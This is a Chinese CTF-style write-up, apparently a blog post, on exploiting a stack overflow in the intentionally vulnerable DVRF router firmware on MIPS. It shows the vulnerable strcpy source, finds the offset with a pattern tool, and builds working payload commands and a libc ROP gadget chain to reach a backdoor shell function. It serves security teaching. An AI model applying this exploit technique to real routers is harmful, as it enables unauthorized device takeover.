zoukankan      html  css  js  c++  java
  • 路由器漏洞挖掘之栈溢出入门(二)

    前言

    最后在学习 MIPS 漏洞挖掘的过程中,找到了一个不错的靶机平台 The Damn Vulnerable Router Firmware Project

    项目地址:https://github.com/praetorian-inc/DVRF

    The goal of this project is to simulate a real world environment to help people learn about other CPU architectures outside of the x86_64 space. This project will also help people get into discovering new things about hardware.

    项目目录的结构:

    Firmware 目录里存放的是路由器的固件文件,需要用 binwalk 进行提取

    Pwnable Source 和 Source Code 都是放置存在漏洞的源代码的目录

    前期环境准备

    虚拟机环境的话可以选择 ubuntu 或者 debian,这里推荐 ubuntu 16.04

    • IDA 的话推荐 6.8 版本的,下面这个链接来下载

    http://pan.baidu.com/s/1i4f1Lbf

    要模拟路由器固件环境需要用到几个基本的工具:

    qemu/qemu-user-static/qemu-mips-static
    binwalk
    buildroot
    mips-gdb
    

    这些程序都可以使用 apt 来安装,或者可以看下面的这篇文章的安装教程:
    https://www.anquanke.com/post/id/84580

    如果安装过程中有问题的话可以参考下面这篇文章:
    https://xz.aliyun.com/t/3826

    或者这里有一个教程专门介绍在 qemu 下安装这个环境
    https://p16.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1

    将项目 git clone 下来之后,使用 binwalk -Me 来提取出固件

    参数的说明

    -M[--matryoshka]   # 根据 magic 签名扫描结果进行递归提取
    -e[--extract]      # 如果探测到文件系统则尝试提取
    

    在 squashfs-root/ 目录下发现是一个 Linksys E1550 的固件环境

    进入到 pwnable 目录下,发现有几个程序。

    先看第一个漏洞程序,file 发现是 32 为小端的 MIPS 架构的 ELF 文件,也就是路由器等嵌入式系统使用的架构

    要运行他首先要把 qemu-mipsel 或者 qemu-mipsel-static 复制到当前的目录下(路由器根目录)

    • 这里之所以要把程序放到 pwnable 目录里,是因为程序可以直接调用当前路由器的动态链接库,相当于借用路由器固件的库来使用

    使用的命令:

    cp $(which qemu-mipsel-static) ./
    或者
    cp $(which qemu-mipsel) ./
    

    这里两句的命令的意思是寻找 qemu-mipsel-static 和 qemu-mipsel 可执行文件的位置,并把他复制到当前目录下

    这里要运行的话必须指定根目录,所以我们需要退回到路由器的根目录下来,用 -L 参数来指定根目录:
    ./qemu-mipsel-static -L ./ pwnable/ShellCode_Required/socket_bof

    可以看到程序成功运行起来了,接下来进行程序和源代码的分析

    题目分析

    IDA 静态分析

    靶机当中给了 ELF 程序和源代码,这里建议先用 IDA 打开,汇编代码先过一遍,然后再看源代码

    32 位的 IDA 打开查看 main 函数,前面是一些初始化工作,调用 memset 函数

    在下面有一个 strcpy 函数

    .text:004008A8                 lw      $gp, 0xE8+var_D8($fp)
    .text:004008AC                 lw      $v0, 0xE8+arg_4($fp)
    .text:004008B0                 nop
    .text:004008B4                 addiu   $v0, 4
    .text:004008B8                 lw      $v0, 0($v0)
    .text:004008BC                 nop
    .text:004008C0                 move    $v1, $v0
    .text:004008C4                 addiu   $v0, $fp, 0xE8+var_D0
    .text:004008C8                 move    $a0, $v0         # dest
    .text:004008CC                 move    $a1, $v1         # src
    .text:004008D0                 la      $t9, strcpy
    .text:004008D4                 nop
    .text:004008D8                 jalr    $t9 ; strcpy
    .text:004008DC                 nop
    

    仔细查看 strcpy 函数的两个参数,这里的 $a1 是从 $v0 传过来的,而 $v0 是从命令行参数传过来的值。

    而这里的 $v0 是栈上的 buf 缓冲区。

    这里调用 strcpy(buf,argv[0]) 函数,没有考虑到长度的问题,所以很明显存在栈溢出漏洞。


    在左边的函数列表里,我们还可以发现其中的一个后门函数。这个函数直接调用了 system("/bin/sh -c") 来进行 getshell

    所以这里很明显可以通过栈溢出来控制返回地址到这个函数,进行 getshell

    程序源代码分析

    再看一下第一个程序的源代码:

    #include <string.h>
    #include <stdio.h>
    
    //Simple BoF by b1ack0wl for E1550
    
    int main(int argc, char **argv[]){
    char buf[200] ="";
    
    if (argc < 2){
    printf("Usage: stack_bof_01 <argument>
    -By b1ack0wl
    ");
    exit(1);
    } 
    
    
    printf("Welcome to the first BoF exercise!
    
    "); 
    strcpy(buf, argv[1]);
    
    printf("You entered %s 
    ", buf);
    printf("Try Again
    ");
    
    return 0x41; // Just so you can see what register is populated for return statements
    }
    
    void dat_shell(){
        printf("Congrats! I will now execute /bin/sh
    -b1ack0wl
    ");
        system("/bin/sh -c");
    
        //execve("/bin/sh","-c",0);
        //execve("/bin/sh", 0, 0);
        exit(0);
    }
    

    这里果然是调用了 strcpy 函数接受命令行参数之后,直接将这个字符串放到缓存区中(len(buf) = 200),没有考虑目的缓冲区的大小导致的栈溢出。

    后门函数也和我们分析的一样,直接调用 system 函数

    栈溢出利用

    IDA 动态调试分析

    运行程序加上 -g 参数后使用 IDA 进行动态调试

    若对调试的方法不太熟悉可以看笔者之前的文章:
    https://www.anquanke.com/post/id/169689

    在 0x004008C8 地址处下一个断点,观察参数的变化:

    F9 运行到指定位置,F7 单步两次,查看寄存器的值

    直接运行起来的话会发现程序会 crash 掉。

    单步的话也可以看到返回地址被填充为了 'AAAA',溢出成功

    确定偏移

    使用 patternLocOffset.py 工具来确定偏移,生成 300 个字符串

    python patternLocOffset.py -c -l 300 -f offset
    

    复制字符串作为程序的命令行参数

    开启 IDA 的远程调试,在 0x0040093C 处下断点,也就是给 $ra 赋值的地方。

    单步步过以后会发现,此时 $ra 的值是 0x41386741

    我们用这个值来确定偏移:

    nick@nick-machine:~/iot/tools$ python patternLocOffset.py -s 0x41386741 -l 300
    [*] Create pattern string contains 300 characters ok!
    [*] No exact matches, looking for likely candidates...
    [+] Possible match at offset 204 (adjusted another-endian)
    [+] take time: 0.0122 s
    

    字符串在偏移 204 的位置,也就是填充 204 个字符串以后,再填充四个字节就是 $ra 的值

    这里我们把他换成后门的地址就行了,注意这里是小端的格式


    继续使用 IDA 来动态调试,将 payload 输入到 test 文件中

    python -c "print 'a'*204+'x50x09x40x00'" > test
    

    下断点把他运行起来

    ./qemu-mipsel -L ./ -g 23946  ./pwnable/Intro/stack_bof_01 "`cat test`"
    

    但是在进入 dat_shell 函数时,运行到某一个地方时,程序又 crash 掉,这是为什么呢?

    因为这涉及到 MIPS 指令集的特点,t9 寄存器总是保存的是函数的开头地址,若通过控制 ra 直接劫持到目标函数,t9 寄存器没有变化,还是原来调用过的函数的地址

    所以需要调用 ROP 来设置一次 t9 寄存器的地址为后门地址,进而 jr $t9,才能使得 gp 寄存器正确的寻址

    • 这里不能用 python -c 命令作为命令行参数传进去,因为在 python 输出过程中会被截断

    所以我们这里需要构造 ROP 来进行调用后门函数。

    ROP 的构造

    构造的原因和原理可以看下面的链接,这里就不造轮子了。

    http://www.myzaker.com/article/599f82511bc8e0390f00001b/

    首先我们在 IDA 中使用 mipsrop 来寻找合适的 gadget。

    最方便的方式就是直接在栈上构造 dat_shell 的地址,使用 li/lw 命令传入 $t9 寄存器之后直接调用 gadget。

    将路由器目录下的 lib 目录下的 libc.so.0 加载进 IDA,使用 mipsrop 插件在 0x6B20 处发现一个合适的 gadget

    这个 gadget 直接将栈上的第一个内存空间做为函数来直接调用。

    这里找到了这个偏移后,我们还需要找到我们本地的 libc 的基地址。


    这里本来可以在关闭本机的 ASLR 以后,使用 mipsel-ldd 工具来查看程序的 libc 基地址

    但是不知道为什么这里出错查看不了。

    所以这里选择 gdb 调试来查看区段的映射信息。(IDA 里无法查看 libc/动态链接库的内存空间)

    gdb 的动态调试

    使用 gdb 进行动态调试的话会比较方便,只需要在本地编译安装一个 mips 架构的 gdb,或者可以直接使用 buildroot 编译好的 gdb(output/host 目录下)

    gdb 加载程序以后挂上远程调试:

    set architecture mips
    target remote 127.0.0.1:23946
    

    连接上远程 gdb 调试之后,程序会自动断在开头,之后就是和 x86 程序一样的调试了。

    • vmmap 命令来查看映射,得到 libc 的地址 0x766ebb20

    上图也验证了 ROP 的地址就是我们需要的 gadget 的地址

    调用 gadget 分析

    python -c "print 'a'*204+'\x20\xbb\x6e\x76'+'\x50\x09\x40\x00'" > test
    
    ./qemu-mipsel -g 23946 -L ./ ./pwnable/Intro/stack_bof_01 `cat 'test'`
    

    gdb 下断:

    b *0x00400948
    

    这里 jr $ra 之后就会跳转到 gadget 之后,再 jr 到 dat_shell 函数的地址了

    getshell

    填充说明:

    \x20\xbb\x6e\x76        # 跳转到 gadget,将栈上第一个参数传给 $t9 并调用
    \x50\x09\x40\x00        # jr $t9
    

    这边成功执行了 system 函数

    一些技巧

    1. 可以使用 buildroot output/host 目录下的一些工具,例如 ldd、objdump,这里最好将 output/host 目录导入到环境变量里去/

    2. IDA 版本最好选择 6.8 的,7.0 版本的对于 MIPS 架构程序的分析还存在一些问题。

    3. 多用 gdb 代替 IDA 来进行动态调试

    总结

    这里栈溢出利用的技巧还是 ROP 链的构造,还是多动手调试才能更加熟练。

  • 相关阅读:
    php留言
    linux系统的初化始配置
    Alertmanager 配置解析
    Prometheus 配置解析
    Prometheus Consul 自动发现
    测试find 命令删除文件速度
    win10 安装wsl2 centos
    kubernetes api 的两种身份认证 以及kubectl生成kubeconfig
    Elasticsearch集群平滑下线data节点
    Fiddler Everywhere 安卓手机抓包配置
  • 原文地址:https://www.cnblogs.com/H4lo/p/10466914.html
Copyright © 2011-2022 走看看